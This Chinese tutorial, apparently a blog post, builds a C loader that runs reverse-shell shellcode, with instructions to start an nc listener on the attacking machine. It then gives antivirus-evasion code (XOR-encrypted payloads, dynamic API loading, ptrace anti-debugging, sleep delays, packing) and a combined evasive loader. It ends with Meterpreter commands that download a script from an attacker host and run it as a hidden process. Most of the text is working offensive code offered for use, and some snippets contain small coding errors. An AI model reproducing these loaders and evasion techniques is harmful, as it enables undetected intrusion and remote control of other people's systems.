loader
提供一个最简单的运行提供的shellcode (Bash格式) 的方法,使用C语言编写加载器 (loader)。
C语言加载器 (loader.c)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
int main() {
// shellcode (从你的Bash脚本中提取)
unsigned char shellcode[] =
"\\x31\\xff\\x6a\\x09\\x58\\x99\\xb6\\x10\\x48\\x89\\xd6\\x4d\\x31\\xc9"
"\\x6a\\x22\\x41\\x5a\\x6a\\x07\\x5a\\x0f\\x05\\x48\\x85\\xc0\\x78\\x51"
"\\x6a\\x0a\\x41\\x59\\x50\\x6a\\x29\\x58\\x99\\x6a\\x02\\x5f\\x6a\\x01"
"\\x5e\\x0f\\x05\\x48\\x85\\xc0\\x78\\x3b\\x48\\x97\\x48\\xb9\\x02\\x00"
"\\x31\\xf4\\x01\\x0f\\xf2\\x28\\x51\\x48\\x89\\xe6\\x6a\\x10\\x5a\\x6a"
"\\x2a\\x58\\x0f\\x05\\x59\\x48\\x85\\xc0\\x79\\x25\\x49\\xff\\xc9\\x74"
"\\x18\\x57\\x6a\\x23\\x58\\x6a\\x00\\x6a\\x05\\x48\\x89\\xe7\\x48\\x31"
"\\xf6\\x0f\\x05\\x59\\x59\\x5f\\x48\\x85\\xc0\\x79\\xc7\\x6a\\x3c\\x58"
"\\x6a\\x01\\x5f\\x0f\\x05\\x5e\\x6a\\x7e\\x5a\\x0f\\x05\\x48\\x85\\xc0"
"\\x78\\xed\\xff\\xe6";
// 1. 分配内存 (可读、可写、可执行)
void *mem = mmap(NULL, sizeof(shellcode), PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (mem == MAP_FAILED) {
perror("mmap");
exit(1);
}
// 2. 将shellcode复制到分配的内存中
memcpy(mem, shellcode, sizeof(shellcode));
// 3. (可选) 再次将内存设置为只读和可执行 (更安全)
if (mprotect(mem, sizeof(shellcode), PROT_READ | PROT_EXEC) == -1) {
perror("mprotect");
exit(1);
}
// 4. 执行shellcode
printf("Running shellcode...\\n");
((void(*)())mem)();
return 0;
}
编译和运行步骤
保存代码: 将上述C代码保存为一个文件,例如
loader.c
。编译:
Linux:
gcc loader.c -o loader -z execstack gcc -O0 -o loader loader.c -z execstack
z execstack
: 允许栈上的代码执行(为了测试方便,生产环境中通常不建议这样做)。
macOS: (可能需要先安装 Xcode Command Line Tools)
macOS上通常不需要z execstack
,但是可能需要增加栈大小。gcc loader.c -o loader -Wl,-z,stack-size=0x100000
运行:
./loader
代码解释
unsigned char shellcode[] = ...;
****:- 将shellcode(从Bash脚本的
export buf=
后面提取)直接复制到C语言的字符数组中。 - 使用
unsigned char
来确保每个字节都被正确表示。
- 将shellcode(从Bash脚本的
mmap(...)
****:mmap
是一个系统调用,用于分配一块内存。PROT_READ | PROT_WRITE | PROT_EXEC
: 指定内存的权限为可读、可写、可执行。MAP_PRIVATE | MAP_ANONYMOUS
: 创建私有的、匿名的内存映射。
memcpy(mem, shellcode, sizeof(shellcode));
****:- 将
shellcode
数组的内容复制到mmap
分配的内存区域mem
中。
- 将
mprotect(mem, sizeof(shellcode), PROT_READ | PROT_EXEC)
- 这一步是可选的, 但推荐. 将内存权限修改为只读和可执行。
((void(*)())mem)();
****:- 这是最关键的一步。它将
mem
指针(指向shellcode的起始地址)强制转换为一个函数指针,然后调用这个函数。 void(*)()
: 表示一个无参数、无返回值的函数指针。
- 这是最关键的一步。它将
重要提示
- Shellcode的正确性: 这个加载器只是提供了一种运行shellcode的方法。如果shellcode本身有问题(例如,IP地址错误、系统调用号不匹配等),它仍然无法正常工作。在运行之前,请务必使用之前介绍的Python脚本或反汇编方法验证shellcode的正确性。
- 修改 IP: 这个shellcode 最可能的问题仍然是IP地址。需要根据之前的反汇编和Python脚本的输出,修改 C 代码中
shellcode
数组里对应的4个字节。 - 安全性:
z execstack
选项会降低系统的安全性。在测试完成后,应该移除这个选项,并使用更安全的方法来加载和执行shellcode(例如,利用漏洞或使用ROP技术)。 - 监听器: 运行前,确保你在攻击机上已经使用
nc -lvnp 12788
(或者你设置的其他端口) 启动了监听器. - 环境: 确保在一个安全、隔离的测试环境中运行这些代码。
这个C语言加载器提供了一种非常简单直接的方式来运行shellcode。但请记住,shellcode的正确性仍然是关键。
免杀
对加载器(Loader)代码进行免杀处理,使其能够绕过杀毒软件和安全机制的检测,是一个复杂且不断演进的领域。以下是一些业内常用的免杀技术,以及如何将它们应用到你提供的C语言加载器代码中:
免杀技术概述
免杀的目标是让恶意代码(在这里是shellcode加载器)看起来不像恶意代码。这通常通过以下几种方式实现:
- 代码混淆 (Obfuscation):
- 目的: 使代码难以阅读和理解,增加逆向工程的难度。
- 方法:
- 修改变量名、函数名。
- 插入无用的代码(垃圾代码)。
- 打乱代码顺序。
- 字符串加密/编码。
- 静态特征规避:
- 目的: 避免使用已知的恶意代码特征(例如,特定的API调用序列、字符串、shellcode特征码等)。
- 方法:
- API调用混淆:
- 动态加载API函数(
GetProcAddress
、LoadLibrary
,Linux上的dlsym
、dlopen
)。 - 使用不常用的API函数。
- 间接调用API函数(通过函数指针)。
- 动态加载API函数(
- 字符串加密/编码:
- 将字符串(例如shellcode、API函数名、IP地址、端口号等)进行加密或编码,在运行时解密/解码。
- Shellcode加密/编码:
- 使用异或 XOR, RC4 等加密算法加密。
- 代码自修改 (Self-Modifying Code):
- 在运行时修改自身的代码,以改变其静态特征。
- API调用混淆:
- 动态行为规避:
- 目的: 避免在运行时表现出恶意行为的特征。
- 方法:
- 反调试 (Anti-Debugging):
- 检测调试器的存在,如果存在则退出或执行不同的代码。
- 反沙箱 (Anti-Sandboxing):
- 检测沙箱环境,如果存在则退出或执行不同的代码。
- 延时执行 (Sleep):
- 在执行关键操作之前,先休眠一段时间,以绕过一些基于时间的安全检测。
- 用户交互:
- 在执行恶意操作之前,等待用户输入或进行某些操作。
- 反调试 (Anti-Debugging):
- 白名单绕过:
- 目的: 利用系统已有的、可信任的程序或组件来执行恶意代码。
- 方法:
- DLL注入 (Windows): 将恶意DLL注入到可信任的进程中。
- 代码注入: 将 shellcode 注入到可信进程。
将免杀技术应用到你的加载器代码
以下是一些将免杀技术应用到你的C语言加载器代码中的示例:
1. 字符串加密/编码(异或 XOR)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
// 异或解密函数
void xor_decrypt(unsigned char *data, size_t data_len, unsigned char key) {
for (size_t i = 0; i < data_len; i++) {
data[i] ^= key;
}
}
int main() {
// 加密的shellcode (这里只是一个示例,你需要用你的shellcode)
unsigned char encrypted_shellcode[] =
"\\x31\\xff\\x6a\\x09\\x58\\x99\\xb6\\x10\\x48\\x89\\xd6\\x4d\\x31\\xc9"
"\\x6a\\x22\\x41\\x5a\\x6a\\x07\\x5a\\x0f\\x05\\x48\\x85\\xc0\\x78\\x51"
"\\x6a\\x0a\\x41\\x59\\x50\\x6a\\x29\\x58\\x99\\x6a\\x02\\x5f\\x6a\\x01"
"\\x5e\\x0f\\x05\\x48\\x85\\xc0\\x78\\x3b\\x48\\x97\\x48\\xb9\\x02\\x00"
"\\x31\\xf4\\x01\\x0f\\xf2\\x28\\x51\\x48\\x89\\xe6\\x6a\\x10\\x5a\\x6a"
"\\x2a\\x58\\x0f\\x05\\x59\\x48\\x85\\xc0\\x79\\x25\\x49\\xff\\xc9\\x74"
"\\x18\\x57\\x6a\\x23\\x58\\x6a\\x00\\x6a\\x05\\x48\\x89\\xe7\\x48\\x31"
"\\xf6\\x0f\\x05\\x59\\x59\\x5f\\x48\\x85\\xc0\\x79\\xc7\\x6a\\x3c\\x58"
"\\x6a\\x01\\x5f\\x0f\\x05\\x5e\\x6a\\x7e\\x5a\\x0f\\x05\\x48\\x85\\xc0"
"\\x78\\xed\\xff\\xe6";
// 加密密钥 (需要与加密shellcode时使用的密钥相同)
unsigned char key = 0x42;
// 解密shellcode
xor_decrypt(encrypted_shellcode, sizeof(encrypted_shellcode), key);
// ... (后面的代码与之前相同,分配内存、复制shellcode、执行) ...
void *mem = mmap(NULL, sizeof(encrypted_shellcode), PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (mem == MAP_FAILED) {
perror("mmap");
exit(1);
}
memcpy(mem, encrypted_shellcode, sizeof(encrypted_shellcode));
if (mprotect(mem, sizeof(encrypted_shellcode), PROT_READ | PROT_EXEC) == -1) {
perror("mprotect");
exit(1);
}
printf("Running shellcode...\\n");
((void(*)())mem)();
return 0;
}
2. API调用混淆(动态加载)
#define _GNU_SOURCE // 为了使用 dlsym
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
#include <dlfcn.h> // 动态链接库
// 函数指针类型定义
typedef void* (*mmap_func_t)(void *, size_t, int, int, int, off_t);
typedef int (*memcpy_func_t)(void *, const void *, size_t);
typedef int (*mprotect_func_t)(void *, size_t, int);
int main() {
// 加密的shellcode和密钥
unsigned char encrypted_shellcode[] = "...."; //你的加密后的 shellcode
unsigned char key = 0x42;
// 使用dlsym动态获取函数地址
void *handle = dlopen("libc.so.6", RTLD_LAZY); // 打开libc库
if (!handle) {
fprintf(stderr, "dlopen error: %s\\n", dlerror());
return 1;
}
// 获取函数地址
mmap_func_t my_mmap = (mmap_func_t)dlsym(handle, "mmap");
memcpy_func_t my_memcpy = (memcpy_func_t)dlsym(handle, "memcpy");
mprotect_func_t my_mprotect = (mprotect_func_t)dlsym(handle, "mprotect");
if (!my_mmap || !my_memcpy || !my_mprotect) {
fprintf(stderr, "dlsym error: %s\\n", dlerror());
dlclose(handle);
return 1;
}
//解密
xor_decrypt(encrypted_shellcode, sizeof(encrypted_shellcode), key);
// 使用获取到的函数指针来执行操作
void *mem = my_mmap(NULL, sizeof(encrypted_shellcode), PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (mem == MAP_FAILED) {
perror("mmap");
exit(1);
}
my_memcpy(mem, encrypted_shellcode, sizeof(encrypted_shellcode));
if (my_mprotect(mem, sizeof(encrypted_shellcode), PROT_READ | PROT_EXEC) == -1) {
perror("mprotect");
exit(1);
}
// 关闭句柄
dlclose(handle);
printf("Running shellcode...\\n");
((void(*)())mem)();
return 0;
}
3. 反调试(简单示例)
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ptrace.h> // ptrace
// ... (其他代码) ...
int is_debugged() {
if (ptrace(PTRACE_TRACEME, 0, 1, 0) == -1) {
return 1; // 被调试
}
return 0; // 未被调试
}
int main() {
// ... (shellcode, 加密等) ...
if (is_debugged()) {
printf("Debugger detected! Exiting...\\n");
return 1;
}
// ... (分配内存, 执行shellcode) ...
}
4. 延时执行
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h> // sleep
// ... (其他代码) ...
int main() {
// ... (shellcode, 加密等) ...
printf("Sleeping for 30 seconds...\\n");
sleep(30); // 休眠30秒
// ... (分配内存, 执行shellcode) ...
}
5. 加壳 (UPX, 自定义壳)
- 可以使用 UPX 加壳工具尝试对编译后的 loader 进行加壳。
- 或者自己编写简单的壳代码 (难度较高)。
编译
编译时, 如果使用了
dlfcn.h
(动态加载), 需要链接dl
库:gcc loader.c -o loader -z execstack -ldl
综合示例(结合多种技术)
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
#include <dlfcn.h>
#include <sys/ptrace.h>
// 函数指针类型定义
typedef void* (*mmap_func_t)(void *, size_t, int, int, int, off_t);
typedef int (*memcpy_func_t)(void *, const void *, size_t);
typedef int (*mprotect_func_t)(void *, size_t, int);
// 异或解密函数
void xor_decrypt(unsigned char *data, size_t data_len, unsigned char key) {
for (size_t i = 0; i < data_len; i++) {
data[i] ^= key;
}
}
// 简单的反调试
int is_debugged() {
if (ptrace(PTRACE_TRACEME, 0, 1, 0) == -1) {
return 1; // 被调试
}
return 0; // 未被调试
}
int main() {
// 1. 反调试
if (is_debugged()) {
printf("Debugger detected! Exiting...\\n");
return 1;
}
// 2. 延时执行
printf("Sleeping for a while...\\n");
sleep(10);
// 加密的shellcode (这里只是一个示例,你需要用你的shellcode)
unsigned char encrypted_shellcode[] =
"\\x31\\xff\\x6a\\x09\\x58\\x99\\xb6\\x10\\x48\\x89\\xd6\\x4d\\x31\\xc9"
"\\x6a\\x22\\x41\\x5a\\x6a\\x07\\x5a\\x0f\\x05\\x48\\x85\\xc0\\x78\\x51"
"\\x6a\\x0a\\x41\\x59\\x50\\x6a\\x29\\x58\\x99\\x6a\\x02\\x5f\\x6a\\x01"
"\\x5e\\x0f\\x05\\x48\\x85\\xc0\\x78\\x3b\\x48\\x97\\x48\\xb9\\x02\\x00"
"\\x31\\xf4\\x01\\x0f\\xf2\\x28\\x51\\x48\\x89\\xe6\\x6a\\x10\\x5a\\x6a"
"\\x2a\\x58\\x0f\\x05\\x59\\x48\\x85\\xc0\\x79\\x25\\x49\\xff\\xc9\\x74"
"\\x18\\x57\\x6a\\x23\\x58\\x6a\\x00\\x6a\\x05\\x48\\x89\\xe7\\x48\\x31"
"\\xf6\\x0f\\x05\\x59\\x59\\x5f\\x48\\x85\\xc0\\x79\\xc7\\x6a\\x3c\\x58"
"\\x6a\\x01\\x5f\\x0f\\x05\\x5e\\x6a\\x7e\\x5a\\x0f\\x05\\x48\\x85\\xc0"
"\\x78\\xed\\xff\\xe6";
// 加密密钥 (需要与加密shellcode时使用的密钥相同)
unsigned char key = 0x42;
// 3. 解密shellcode
xor_decrypt(encrypted_shellcode, sizeof(encrypted_shellcode), key);
// 4. 动态加载API
void *handle = dlopen("libc.so.6", RTLD_LAZY);
if (!handle) {
fprintf(stderr, "dlopen error: %s\\n", dlerror());
return 1;
}
mmap_func_t my_mmap = (mmap_func_t)dlsym(handle, "mmap");
memcpy_func_t my_memcpy = (memcpy_func_t)dlsym(handle, "memcpy");
mprotect_func_t my_mprotect = (mprotect_func_t)dlsym(handle, "mprotect");
if (!my_mmap || !my_memcpy || !my_mprotect) {
fprintf(stderr, "dlsym error: %s\\n", dlerror());
dlclose(handle);
return 1;
}
// 5. 使用动态加载的API执行shellcode
void *mem = my_mmap(NULL, sizeof(encrypted_shellcode), PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (mem == MAP_FAILED) {
perror("mmap");
exit(1); // 考虑更隐蔽的错误处理
}
my_memcpy(mem, encrypted_shellcode, sizeof(encrypted_shellcode));
if (my_mprotect(mem, sizeof(encrypted_shellcode), PROT_READ | PROT_EXEC) == -1) {
perror("mprotect");
exit(1); // 考虑更隐蔽的错误处理
}
dlclose(handle);
printf("Running shellcode...\\n");
((void(*)())mem)();
return 0;
}
重要提示:
- 加密Shellcode: 在使用上述代码之前,你需要先对你的shellcode进行加密(例如,使用异或 XOR 加密)。
- 密钥管理: 加密密钥(
key
)需要与解密时使用的密钥相同。在实际应用中,密钥管理是一个重要的问题。 - 错误处理: 在实际应用中,你应该更谨慎地处理错误,避免直接退出或打印错误信息,以免暴露你的意图。
- 更高级的技术: 这只是免杀的冰山一角。更高级的技术包括:
- 多态变形 (Polymorphism): 每次生成shellcode时都改变其代码结构,但保持功能不变。
- 变形引擎 (Metamorphism): 比多态变形更复杂,可以改变shellcode的指令、寄存器使用、代码顺序等。
- 自定义加密/编码: 使用更复杂的加密算法或编码方式。
- 沙箱逃逸 (Sandbox Evasion): 专门针对沙箱环境的逃逸技术。
- 免杀效果是相对的: 没有绝对的免杀,只有相对的。杀毒软件和安全机制也在不断更新,免杀技术需要不断地进行改进和调整。
- 不要低估手动修改的重要性: 即使使用了各种免杀技术,手动修改代码(例如,调整函数调用顺序、修改字符串、插入垃圾代码等)仍然是提高免杀效果的重要手段。
异或
异或加密/解密原理
异或(XOR)运算是一种位运算,具有以下特性:
- 相同为0,不同为1:
0 XOR 0 = 0
0 XOR 1 = 1
1 XOR 0 = 1
1 XOR 1 = 0
- 自反性:
A XOR B XOR B = A
(一个数与另一个数异或两次,结果等于原来的数)。
异或加密/解密过程
加密:
将明文(原始数据)的每个字节与密钥(一个字节)进行异或运算,得到密文。
明文: 10110101 密钥: 01010101 ---------------- 密文: 11100000
解密:
将密文的每个字节与相同的密钥进行异或运算,得到原始的明文。
密文: 11100000 密钥: 01010101 ---------------- 明文: 10110101
将异或加密/解密应用到Shellcode
加密Shellcode(在你的攻击机上):
- 编写一个简单的Python脚本(或其他语言)来对shellcode进行异或加密:
shellcode = ( b"\\x31\\xff\\x6a\\x09\\x58\\x99\\xb6\\x10\\x48\\x89\\xd6\\x4d\\x31\\xc9" b"\\x6a\\x22\\x41\\x5a\\x6a\\x07\\x5a\\x0f\\x05\\x48\\x85\\xc0\\x78\\x51" b"\\x6a\\x0a\\x41\\x59\\x50\\x6a\\x29\\x58\\x99\\x6a\\x02\\x5f\\x6a\\x01" b"\\x5e\\x0f\\x05\\x48\\x85\\xc0\\x78\\x3b\\x48\\x97\\x48\\xb9\\x02\\x00" b"\\x31\\xf4\\x01\\x0f\\xf2\\x28\\x51\\x48\\x89\\xe6\\x6a\\x10\\x5a\\x6a" b"\\x2a\\x58\\x0f\\x05\\x59\\x48\\x85\\xc0\\x79\\x25\\x49\\xff\\xc9\\x74" b"\\x18\\x57\\x6a\\x23\\x58\\x6a\\x00\\x6a\\x05\\x48\\x89\\xe7\\x48\\x31" b"\\xf6\\x0f\\x05\\x59\\x59\\x5f\\x48\\x85\\xc0\\x79\\xc7\\x6a\\x3c\\x58" b"\\x6a\\x01\\x5f\\x0f\\x05\\x5e\\x6a\\x7e\\x5a\\x0f\\x05\\x48\\x85\\xc0" b"\\x78\\xed\\xff\\xe6" ) key = 0x42 # 你选择的密钥 (可以是任意一个字节值,例如0x42, 0xAB等) encrypted_shellcode = bytearray() for byte in shellcode: encrypted_shellcode.append(byte ^ key) # 打印加密后的shellcode (用于复制到C代码中) print("unsigned char encrypted_shellcode[] = ") print('"' + ''.join('\\\\x{:02x}'.format(x) for x in encrypted_shellcode) + '";')
- 选择一个密钥(例如
0x42
)。 - 对shellcode的每个字节与密钥进行异或运算。
- 将加密后的shellcode输出为C语言数组的形式。
在C加载器中解密Shellcode:
将加密后的shellcode复制到C加载器代码中。
在分配内存和执行shellcode之前,添加一段代码来对shellcode进行异或解密(使用相同的密钥)。
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> #include <unistd.h> // 异或解密函数 void xor_decrypt(unsigned char *data, size_t data_len, unsigned char key) { for (size_t i = 0; i < data_len; i++) { data[i] ^= key; } } int main() { // 加密的shellcode (来自Python脚本的输出) unsigned char encrypted_shellcode[] = "\\x73\\xbf\\x28\\x4b\\x1a\\xd5\\xf4\\x52\\x0a\\xc5\\x94\\x0f\\x73\\x8b" "\\x28\\x60\\x03\\x18\\x28\\x45\\x18\\x4d\\x47\\xc7\\x82\\x3a\\x13" "\\x28\\x48\\x0b\\x1a\\x28\\x6b\\x1a\\x40\\x1c\\x4d\\x47\\xc7\\x82\\x3a\\x79" "\\x0a\\xd5\\x0a\\xf5\\x6a\\x13\\x0a\\xc5\\xa4\\x28\\x52\\x18\\x68" "\\x68\\x18\\x03\\x1a\\x4d\\x47\\xc7\\xc5\\x3b\\xcd\\xb6\\x5a\\x32" "\\x55\\x28\\x61\\x1a\\x42\\x1a\\x47\\x0a\\xc5\\xa5\\x0a\\x1b\\x1d" "\\xb4\\x4d\\x47\\xc7\\xc5\\x35\\x85\\x28\\x43\\x1d\\x4d\\x47\\xc7\\x82" "\\x3a\\xa1\\xb9\\xa4"; // 密钥 unsigned char key = 0x42; // 解密shellcode xor_decrypt(encrypted_shellcode, sizeof(encrypted_shellcode), key); // ... (分配内存、复制shellcode、执行) ... void *mem = mmap(NULL, sizeof(encrypted_shellcode), PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (mem == MAP_FAILED) { perror("mmap"); exit(1); } memcpy(mem, encrypted_shellcode, sizeof(encrypted_shellcode)); if (mprotect(mem, sizeof(encrypted_shellcode), PROT_READ | PROT_EXEC) == -1) { perror("mprotect"); exit(1); } printf("Running shellcode...\\n"); ((void(*)())mem)(); return 0; }
例子:! + !!! +++
这是一种自定义的编码方式,而不是标准的异或加密。
!
可能表示某种操作(例如,取反、加1、减1等)。+
可能表示另一种操作(例如,位移、加法、异或等)。- 重复的符号可能表示操作的强度或重复次数。
要解密这种自定义的编码,需要:
- 确定编码规则: 弄清楚每个符号(
!
、+
)代表什么操作,以及重复符号的含义。 - 编写解码函数: 根据编码规则,编写一个C函数来对shellcode进行解码。
- 替换异或解密: 将C加载器代码中的异或解密函数替换为你编写的解码函数。
总结
- 异或加密是一种简单有效的shellcode加密方法。
- 加密和解密使用相同的密钥。
- 在C加载器中,需要在分配内存和执行shellcode之前对shellcode进行解密。
- 对于自定义的编码方式,需要先确定编码规则,然后编写相应的解码函数。
命令
在Meterpreter会话中,ls
命令可以正常执行,而systemctl status ssh
命令却报错[-] Unknown command: systemctl
,这是因为它们的工作方式不同:
1. ls
(Meterpreter内置命令)
- Meterpreter实现:
ls
是Meterpreter内置的命令。当你输入ls
时,Meterpreter会话会直接解析这个命令,并使用它自己实现的机制来列出目标系统上的文件和目录。 - 不依赖目标系统命令: Meterpreter的
ls
命令不依赖于目标系统上是否安装了ls
命令(虽然大多数Linux系统都有)。Meterpreter通过与目标系统上的Meterpreter payload进行交互,直接获取文件系统信息。
2. systemctl
(目标系统命令)
- 外部命令:
systemctl
是一个外部命令,它是systemd系统和服务管理器的命令行工具。要运行systemctl
,需要在目标系统上执行它。 - Meterpreter的**
execute
**命令: Meterpreter提供了一个execute
命令,用于在目标系统上执行外部命令。- 但是,
systemctl
通常需要 root 权限, 而你的 meterpreter 会话不一定有 root 权限。 - 有些Linux系统,
/sbin
(通常包含systemctl
) 可能不在普通用户的PATH
环境变量里, 所以即使用execute
也可能找不到命令。
- 但是,
如何在Meterpreter中运行**systemctl
**(或其他外部命令)
使用**
execute
**命令:meterpreter > execute -f /usr/bin/systemctl -a "status ssh"
如果提示权限不足,尝试提权。
* `-f`: 指定要执行的命令的完整路径(例如,`/usr/bin/systemctl`,你可以使用`which systemctl`来查找`systemctl`的路径)。
* `-a`: 指定要传递给命令的参数(例如,`"status ssh"`)。
使用
shell
命令:meterpreter > shell
- 这会在目标系统上打开一个交互式的shell。
- 然后你可以在这个shell中直接运行
systemctl status ssh
(或其他任何命令)。 - 退出shell:输入
exit
。 - 如果提示权限不足,还是需要提权。
尝试提权(如果需要):
- 如果
systemctl
命令需要root权限,而你的Meterpreter会话没有root权限,你需要尝试提权。 - Meterpreter提供了一些提权模块(例如
exploit/multi/local/sudo
等)。 - 你可以使用
getuid
命令查看当前用户的UID,如果不是0(root),则需要提权。
- 如果
总结
ls
是Meterpreter的内置命令,由Meterpreter自身实现。systemctl
是目标系统上的外部命令,需要在目标系统上执行(通常使用execute
或shell
命令),并且可能需要root权限。
Meterpreter的设计理念是提供一套与目标操作系统无关的命令集(ls
、pwd
、cd
等),方便渗透测试人员在不同类型的目标系统上进行操作。但是,如果你需要执行目标系统特有的命令(如systemctl
),就需要使用execute
或shell
命令。
wget
在Meterpreter会话中执行 wget "192.168.237.1:8000/service_installer.sh"
命令,以下是几种方法:
方法一:使用 execute
命令 (推荐,如果 wget
存在)
meterpreter > execute -f wget -a "192.168.237.1:8000/service_installer.sh" -H
f wget
: 指定要执行的命令是wget
。Meterpreter 会尝试在目标系统的PATH
环境变量中的目录里寻找wget
。a "192.168.237.1:8000/service_installer.sh"
: 指定wget
的参数,即要下载的文件的URL。H
: (可选)创建一个隐藏的进程。这有助于避免在目标系统的进程列表中直接显示wget
进程。
如果目标系统上 wget
不在默认的搜索路径中,你可以提供 wget
的完整路径:
meterpreter > execute -f /usr/bin/wget -a "192.168.237.1:8000/service_installer.sh" -H
方法二:使用 shell
命令
进入 shell:
meterpreter > shell
在 shell 中执行命令:
wget "192.168.237.1:8000/service_installer.sh"
退出 shell:
exit
方法三:使用Meterpreter的**download
和execute
命令 (如果wget
**不存在)
如果目标系统上没有wget
命令,你可以先使用Meterpreter的download
命令将wget
可执行文件上传到目标系统,然后使用execute
命令执行它:
在你的攻击机上准备好**
wget
**可执行文件。 (你可以从一个Linux系统中复制wget
,通常位于/usr/bin/wget
,确保与目标系统架构相同,例如都是x64)。上传**
wget
**:meterpreter > upload /path/to/your/wget /tmp/wget
/path/to/your/wget
: 你本地wget
可执行文件的路径。/tmp/wget
: 将wget
上传到目标系统的/tmp
目录(或其他可写目录)。
赋予**
wget
**执行权限:meterpreter > execute -f chmod -a "+x /tmp/wget"
执行**
wget
**下载:meterpreter > execute -f /tmp/wget -a "192.168.237.1:8000/service_installer.sh" -H
方法四:使用其他工具(如果目标系统上有)
如果目标系统上没有wget
,但有其他类似的工具,例如curl
、ftp
、powershell
(在Windows上)等,你可以使用这些工具来下载文件。
curl
(如果存在):meterpreter > execute -f curl -a "-O 192.168.237.1:8000/service_installer.sh"
注意事项
- 权限: 确保你的Meterpreter会话具有足够的权限来执行
wget
命令(或上传文件并执行)。 - 防火墙: 目标系统上的防火墙可能会阻止
wget
下载文件。 - 网络连接: 确保目标系统可以访问你的攻击机(
192.168.237.1
)。 - 隐蔽性: 如果你希望操作更隐蔽,可以使用
H
选项(execute
命令),或者将文件下载到不显眼的目录中。
通常情况下,使用execute -f wget ...
是最简单直接的方法。如果wget
不存在,再考虑其他方法。
欢迎指出任何有错误或不够清晰的表达,可以在下面评论区评论。